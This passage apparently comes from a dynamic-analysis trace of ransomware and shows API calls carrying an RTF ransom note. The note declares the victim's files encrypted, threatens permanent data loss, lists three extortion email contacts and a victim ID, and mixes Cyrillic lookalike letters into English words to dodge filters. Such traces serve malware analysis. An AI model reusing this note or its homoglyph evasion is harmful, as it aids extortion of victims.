lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 